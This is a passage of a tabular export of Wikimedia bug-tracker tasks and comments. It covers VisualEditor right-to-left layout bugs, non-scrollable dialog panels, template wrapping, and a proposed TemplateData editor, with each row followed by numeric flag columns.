+**Severity**: normal",High,80.0,1374514020,1374634378.0,PHID-USER-xfe43w2lb5gpvglf4coa,False,,False,PHID-TASK-lui5vpla74335t6r63nr,task_description,resolved,True,c1,3,False,False,True,3,,0,0,0,0,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,1,1,0,0,0,0,0,0,0,1,0,0,0,1,0,1,1,1,0,0,0,0,0,0,1,0,1,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,1,1,1,1,0,0,1
+246135,VisualEditor: Autocompletion for template names doesn't work in RTL,"Done and will be deployed tomorrow. Thanks, Moriel!",,,1374634378,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-lui5vpla74335t6r63nr,task_subcomment,,True,c1,3,True,,,3,,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,0,1,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0
+246130,VisualEditor: Autocompletion for template names doesn't work in RTL,"This bug will be fixed with this patchset: https://gerrit.wikimedia.org/r/#/c/74835/
+
+See also https://bugzilla.wikimedia.org/show_bug.cgi?id=51490",,,1374518346,,PHID-USER-zq6nzfwxwkyliljd4lfy,False,,,PHID-TASK-lui5vpla74335t6r63nr,task_subcomment,,True,c1,3,False,,,3,,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0
+53819,VisualEditor: Location of the inspector menu is wrong for floated content in RTL wikis,"screenshot
+
+When you click an infobox template in an RTL wiki, the puzzle piece icon is supposed to appear somewhere on the transparent blue background to make the template editable.
+
+In an RTL wiki, this template appears outside of the transparent blue area on the other side of the screen.
+
+You can test it with the following article:
+https://he.wikipedia.org/wiki/%D7%9C%D7%95%D7%93?veaction=edit
+
+See also the screenshot.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+
+**Attached**: {F11560}",High,80.0,1374510180,1374637806.0,PHID-USER-xfe43w2lb5gpvglf4coa,False,,False,PHID-TASK-kjhdlfcx4jhz24dn5jl5,task_description,resolved,True,c1,3,False,False,True,3,,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,1,1,0,0,1,1,1,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,1,0,0,1,1,1,0,0,0,1,1,1,1,0,1,0,0,0
+245647,VisualEditor: Location of the inspector menu is wrong for floated content in RTL wikis,Merged and will go out tomorrow.,,,1374637806,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-kjhdlfcx4jhz24dn5jl5,task_subcomment,,True,c1,3,True,,,3,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0
+245641,VisualEditor: Location of the inspector menu is wrong for floated content in RTL wikis,"Change 75246 merged by jenkins-bot:
+Quickfix for Transclusion icon in RTL wikis
+
+https://gerrit.wikimedia.org/r/75246",,,1374637503,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-kjhdlfcx4jhz24dn5jl5,task_subcomment,,True,c1,3,False,,,3,,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+245636,VisualEditor: Location of the inspector menu is wrong for floated content in RTL wikis,"Change 75246 had a related patch set uploaded by Mooeypoo:
+Quickfix for Transclusion icon in RTL wikis
+
+https://gerrit.wikimedia.org/r/75246",,,1374526607,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-kjhdlfcx4jhz24dn5jl5,task_subcomment,,True,c1,3,False,,,3,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+53739,VisualEditor: [Regression] Dialog panels not scrollable,"TempalteData-provided parameter list in template editor is not scrollable.
+
+For example, try adding [[pl:Template:Okręt infobox]] to any article there.
+
+Confirmed on latest versions of Firefox and Opera.
+
+Screenshot: http://i.imgur.com/e3VSqVs.png
+
+--------------------------
+**Version**: unspecified
+**Severity**: major
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=51672",High,80.0,1374316620,1374605597.0,PHID-USER-wkpnidxoctuhawexig5p,False,,False,PHID-TASK-jvkszokywziqndkikfj4,task_description,resolved,True,c1,3,True,False,True,2,,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,1,0,1,1
+240973,VisualEditor: [Regression] Dialog panels not scrollable,Done and will be deployed tomorrow.,,,1374634358,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-jvkszokywziqndkikfj4,task_subcomment,,True,c1,3,True,,,3,,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
+240969,VisualEditor: [Regression] Dialog panels not scrollable,"Change 74836 merged by jenkins-bot:
+Ensure ve-ui-panelLayout-scrollable is actually scrollable
+
+https://gerrit.wikimedia.org/r/74836",,,1374605866,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-jvkszokywziqndkikfj4,task_subcomment,,True,c1,3,False,,,3,,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+240964,VisualEditor: [Regression] Dialog panels not scrollable,*** Bug 51810 has been marked as a duplicate of this bug. ***,,,1374497316,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-jvkszokywziqndkikfj4,task_subcomment,,True,c1,3,True,,,3,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+240959,VisualEditor: [Regression] Dialog panels not scrollable,Patch by Rillke from bug 51793: https://gerrit.wikimedia.org/r/75083,,,1374489637,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-jvkszokywziqndkikfj4,task_subcomment,,True,c1,3,True,,,3,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+240955,VisualEditor: [Regression] Dialog panels not scrollable,*** Bug 51793 has been marked as a duplicate of this bug. ***,,,1374489509,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-jvkszokywziqndkikfj4,task_subcomment,,True,c1,3,True,,,3,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+240947,VisualEditor: [Regression] Dialog panels not scrollable,*** Bug 51671 has been marked as a duplicate of this bug. ***,,,1374331143,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-jvkszokywziqndkikfj4,task_subcomment,,True,c1,3,True,,,2,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+240939,VisualEditor: [Regression] Dialog panels not scrollable,"Change 74836 had a related patch set uploaded by Matmarex:
+Ensure ve-ui-panelLayout-scrollable is actually scrollable
+
+https://gerrit.wikimedia.org/r/74836",,,1374319290,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-jvkszokywziqndkikfj4,task_subcomment,,True,c1,3,False,,,2,,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+240931,VisualEditor: [Regression] Dialog panels not scrollable,Caused by 8409d16f0f2392cea321aa3d8d6bc692f3f04f27,,,1374318944,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-jvkszokywziqndkikfj4,task_subcomment,,True,c1,3,True,,,2,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0
+53734,TemplateData: Create an editor for template data (in the wikitext editor),"GUI for the existing TemplateDataEditor
+
+Not the same as bug 50964: it would be really nice to provide a tool for editing TemplateData also outside VisualEditor (I even think it's better than inside VisualEditor because VE doesn't work on Template namespace right now).
+
+The existing TemplateDataEditor script (created by Ltrlg on frwiki, translated for enwiki by me), can be a good start. Benefits for including some equivalent in TemplateData extensions are important :
+* Available to all wikis
+* Translations can be done like they are done for TemplateData
+
+Links :
+* http://en.wikipedia.org/wiki/User:NicoV/TemplateDataEditor
+* http://fr.wikipedia.org/wiki/Utilisateur:Ltrlg/scripts/TemplateDataEditor.js
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=50169
+
+**Attached**: {F11375}",High,80.0,1374308460,1389806818.0,PHID-USER-o34e5i3eq4nstbvcf26w,False,,False,PHID-TASK-jd5jq4oxcix7nauaawh2,task_description,resolved,True,c1,3,False,False,False,2,,1,0,0,1,1,1,1,1,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,1,0,0,0,1,1,1,0,1,1,1,0,0,0,0,0,0,0,1,1,1,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,0,1,1,1,1,0,0
+240753,TemplateData: Create an editor for template data (in the wikitext editor),Follow-up in 60158.,,,1391795279,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-jd5jq4oxcix7nauaawh2,task_subcomment,,True,c1,3,True,,,31,,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+240749,TemplateData: Create an editor for template data (in the wikitext editor),"Created attachment 14428
+TemplateDataGenertor screenshot
+
+I made a screenshot. I’ve cropped it to show only TemplateDataGenerator: it is a jQuery UI dialog centered on the screen.
+
+**Attached**: {F11377}",,,1391198497,,PHID-USER-5pyvkdz65d5h5vxebodc,False,,,PHID-TASK-jd5jq4oxcix7nauaawh2,task_subcomment,,True,c1,3,False,,,30,,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,1,0,0,0,0,0
+240739,TemplateData: Create an editor for template data (in the wikitext editor),"As I said, the current information (or lack of) is confusing. Is there any wiki page or screenshot or anything we can link to?
+
+In any case, ca.wiki wants to try it.  :)",,,1391189938,,PHID-USER-lluzkul4z7us4sxkayss,False,,,PHID-TASK-jd5jq4oxcix7nauaawh2,task_subcomment,,True,c1,3,False,,,30,,1,1,0,0,0,1,1,0,0,0,1,0,0,0,1,1,0,0,1,1,1,0,0,0,1,0,0,0,1,0,0,1,0,1,1,0,0,0,1,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,1,0,0,1,0,0,0,1,1,1,1,0,0,1,0,0,0,0,0,0,0,0
+240733,TemplateData: Create an editor for template data (in the wikitext editor),"$wgTemplateDataUseGUI activates neither TemplateDataEditor nor TDSkell but TemplateDataGenerator. The two screenshots attached to this bug are for 'TemplateDataEditor' and 'TemplateData Editor', so the one you gave on cawiki is not correct.",,,1391186065,,PHID-USER-5pyvkdz65d5h5vxebodc,False,,,PHID-TASK-jd5jq4oxcix7nauaawh2,task_subcomment,,True,c1,3,False,,,30,,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,0,1,0,1,1,1,0,1,0,1,0,0,0,0,0,0,0,0
+240726,TemplateData: Create an editor for template data (in the wikitext editor),"ca.wiki is also happy to test it, see https://ca.wikipedia.org/wiki/Viquip%C3%A8dia:La_taverna/Propostes#Activar_TemplateDataEditor",,,1391177736,,PHID-USER-lluzkul4z7us4sxkayss,False,,,PHID-TASK-jd5jq4oxcix7nauaawh2,task_subcomment,,True,c1,3,False,,,30,,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,0,0,0,0,0,0,1
+240718,TemplateData: Create an editor for template data (in the wikitext editor),"**M8R-0p6s0d** wrote:
+
+Hi, we would like to try the TempalteDataEditor on NL wiki, see https://nl.wikipedia.org/wiki/Wikipedia:De_kroeg#Aanzetten_TemplateData-editor_op_nl-wiki",,,1390823433,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-jd5jq4oxcix7nauaawh2,task_subcomment,,True,c1,3,False,,,30,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,1,0,0,0,1,0,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,1,0,0,1,1,1,0,0,0,1,1,0,0,0,0,0,0,0
+240712,TemplateData: Create an editor for template data (in the wikitext editor),"No, this is the GUI we developed hidden behind $wgTemplateDataUseGUI.",,,1390431656,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-jd5jq4oxcix7nauaawh2,task_subcomment,,True,c1,3,True,,,29,,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,1,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0
+240705,TemplateData: Create an editor for template data (in the wikitext editor),"(In reply to comment #11)
+> If
+> a particular wiki is happy to be a guinea pig we can switch it on there for a
+> little for some real-world testing.
+
+Sound interesting, but I'm missing a bit of background...
+
+Do you mean ""switch on"" https://en.wikipedia.org/wiki/User:Salix_alba/TDSkell ? Would it be enabled to all users of a wiki or can it be restricted to a certain user group in order limit the experiment a bit?
+
+There is clear interest in improving template data coverage in Catalan Wikipedia but, guess what, nobody really enjoys editing JSON syntax.  :)",,,1390336136,,PHID-USER-lluzkul4z7us4sxkayss,False,,,PHID-TASK-jd5jq4oxcix7nauaawh2,task_subcomment,,True,c1,3,False,,,29,,1,0,0,1,0,1,1,0,0,1,1,1,0,0,1,1,0,1,1,1,1,0,0,0,0,0,0,0,1,1,0,1,1,1,1,1,0,0,1,1,0,0,0,1,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,0,1,0,1,1,0,1,0,1,1,1,1,1,0,1,1,1,1,0,1,0,0,1
+240697,TemplateData: Create an editor for template data (in the wikitext editor),"This is done in I863a8199c0b08cc52b320ed00dcba912dd2aeefc (though it's not yet deployed, as it is currently hidden behind a feature flag). Closing for now. If a particular wiki is happy to be a guinea pig we can switch it on there for a little for some real-world testing.",,,1389806818,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-jd5jq4oxcix7nauaawh2,task_subcomment,,True,c1,3,True,,,28,,1,0,0,1,1,1,1,0,1,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,1,1,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,1,1,0,0,0,0,0,0,1,0,1,1,1,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,1,0,1,0,0,0
+240691,TemplateData: Create an editor for template data (in the wikitext editor),"Change 85400 had a related patch set uploaded by Jforrester:
+TemplateData Generator GUI
+
+https://gerrit.wikimedia.org/r/85400",,,1386784147,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-jd5jq4oxcix7nauaawh2,task_subcomment,,True,c1,3,False,,,23,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+240683,TemplateData: Create an editor for template data (in the wikitext editor),"Skeleton generator now in javascript and at http://en.wikipedia.org/wiki/User:Salix_alba/TDSkell
+its quite handy for getting a complete list of parameters. The human written documentation is not always upto date.",,,1375139849,,PHID-USER-7hrs7wwclcldf7mm6a7o,False,,,PHID-TASK-jd5jq4oxcix7nauaawh2,task_subcomment,,True,c1,3,False,,,4,,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,1,0,1,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,1,0,1,0,1,0,0,0
+240675,TemplateData: Create an editor for template data (in the wikitext editor),"I don't know how I messed up with the bug number (probably several bugzilla windows opened and I paste the wrong one) ;-) Sorry, bug 50169 of course.
+
+I also think having a button in the toolbar would be a better place than the sidebar.
+
+
+Other possible optimization: combine it with the ""Skeleton generator"" so that parameter names are automatically retrieved from the template source code for initializing the templatedata the first time. Care must be taken since the templatedata will often be on the documentation page.
+
+http://singsurf.org/things/TemplateData.php?Source=true",,,1374777939,,PHID-USER-o34e5i3eq4nstbvcf26w,False,,,PHID-TASK-jd5jq4oxcix7nauaawh2,task_subcomment,,True,c1,3,False,,,3,,1,0,0,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,0,1,1,0,1,0,0,0,0,1,0,1,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,1,1,1,1,1,1,0,1,0,0,1,0,1,0,1,1,1,0,1,0,1,1,1,1,0,1,1,0,0
+240667,TemplateData: Create an editor for template data (in the wikitext editor),"(In reply to comment #0)
+> Created attachment 12900 [details]
+> GUI for the existing TemplateDataEditor
+> 
+> Not the same as bug 50964
+
+Indeed, bug 50964 is not the same, but also (apparently) completely unrelated. I assume you meant bug 50169.
+
+If this should not (also) be inside VisualEditor, can we be specific in what we want it to be then?
+
+e.g. WikiEditor, legacy toolbar, ...
+
+The referenced gadget 'parses' the wikitext textarea and adds a link in the sidebar toolbox that opens a dialog. I don't think the sidebar would be an acceptable entry point to edit the wikitext. Should be something in the toolbar.
+
+I agree we should re-use the data logic between these 2 or 3 different things. At least we can expose the data logic separately from the plugin we make for VisualEditor so that other ones can be created as gadget (until (if) we make one of the WikiEditor and/or legacy toolbar).
+
+**Attached**: {F11375}",,,1374776275,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-jd5jq4oxcix7nauaawh2,task_subcomment,,True,c1,3,True,,,3,,0,1,1,1,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,1,1,1,0,0,1,0,0,1,1,1,0,1,1,1,1,1,0,0,0,1,0,0,0,1,0,1,0,1,0,1,1,1,0,0,0,0,0,1,0,0,1,0,0,1,0,1,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,1,0,1,0,1,1,0,1,0,1,1
+240661,TemplateData: Create an editor for template data (in the wikitext editor),"Created attachment 12957
+Screenshot of http://tools.wikimedia.pl/~mlazowik/templatedata/
+
+**Attached**: {F11376}",,,1374775628,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-jd5jq4oxcix7nauaawh2,task_subcomment,,True,c1,3,True,,,3,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+240656,TemplateData: Create an editor for template data (in the wikitext editor),"This is, indeed, not a duplicate of bug 50169, though it might as well be done in one go. Relabelling as such.",,,1374510028,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-jd5jq4oxcix7nauaawh2,task_subcomment,,True,c1,3,True,,,3,,0,0,0,1,1,1,0,0,1,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,1,0,1,0,0,0
+240654,TemplateData: Create an editor for template data (in the wikitext editor),"(In reply to comment #1)
+> Could you please define what that ""tool"" would exactly do? 
+> Otherwise it will be extremely hard to define when this bug report could be
+> considered ""fixed"" at some point. :)
+
+Being able to edit a <templatedata> tag in a user frienly way, much like what TemplateDataEditor allows (see the attached screenshot in my first comment). JSON is not very friendly for human editors.
+Basically, a window showing all the informations in the <templatedata/> and allowing a human editor to modify them easily.
+
+Extra advantage of including this in the TemplateData extension :
+* Users don't have to modify their common.js to have access to an editor",,,1374495793,,PHID-USER-o34e5i3eq4nstbvcf26w,False,,,PHID-TASK-jd5jq4oxcix7nauaawh2,task_subcomment,,True,c1,3,False,,,3,,1,0,1,0,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,1,1,1,1,1,1,1,1,0,0,0,1,0,1,0,1,0,1,0,0,0,1,1,1,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,1,1,0,1,0,1,1,1,1,0,0,1
+240649,TemplateData: Create an editor for template data (in the wikitext editor),"(In reply to comment #0)
+...
+> editing TemplateData also outside VisualEditor (I even think it's better than
+> inside VisualEditor because VE doesn't work on Template namespace right now).
+
+BTW: depending on the resolution of bug 50512, the data might be migrated from Template namespace to a specific one.",,,1374489651,,PHID-USER-sryrz6tgcfnnsiddx32p,False,,,PHID-TASK-jd5jq4oxcix7nauaawh2,task_subcomment,,True,c1,3,False,,,3,,0,0,0,1,1,1,0,1,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,1,1,0,0,1,1,1,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,1,1,1,1,0,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,0,0,1,0,1,1,0,1
+240644,TemplateData: Create an editor for template data (in the wikitext editor),Tool = something at least as good as the TemplateDataEditor linked above.,,,1374489443,,PHID-USER-sryrz6tgcfnnsiddx32p,False,,,PHID-TASK-jd5jq4oxcix7nauaawh2,task_subcomment,,True,c1,3,False,,,3,,0,1,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,0,0,0,1,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,1,0
+240640,TemplateData: Create an editor for template data (in the wikitext editor),"Could you please define what that ""tool"" would exactly do? 
+Otherwise it will be extremely hard to define when this bug report could be considered ""fixed"" at some point. :)",,,1374486973,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-jd5jq4oxcix7nauaawh2,task_subcomment,,True,c1,3,True,,,3,,1,0,1,1,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,1,1,0,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,1,1,0,1,0,1,0,0,1,1,0,0,1,1,0,1,1,0,1,0,1,0,0,0,0,0,0
+53708,"VisualEditor: Inline templates don't wrap, assume width:100%, so break layout around floated items","In Visual Editor edit screen templates that produce a single line of displayed text (regardless of the length of that line) do not wrap on word boundaries.
+
+Steps to reproduce:
+1. Insert a picture or other right-aligned object that text should wrap around.
+2. Transclude a template that produces a single line of text. {{EW charity|123456|This charity has got a long name to make it easy to test this bug}} is an example
+3. Reduce the width of your browser window until the text produced by the template is longer than the avaialble space between the left margin and the picture.
+
+Expected behaviour: The last word(s) of the text produced by the template wraps onto a second line.
+Actual behaviour: The entire line moves to below the picture as a single unit.
+
+Any template that produces two or more lines of displayed text (on an infinitely wide window) does not exhibit this behaviour and wraps correctly. For example:
+
+""Long text<br>1"" wraps correctly
+
+""Long text
+1""
+""Long text<br>"" and
+""Long text<br>
+<!--hidden-->"" all exhibit this bug.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=52445
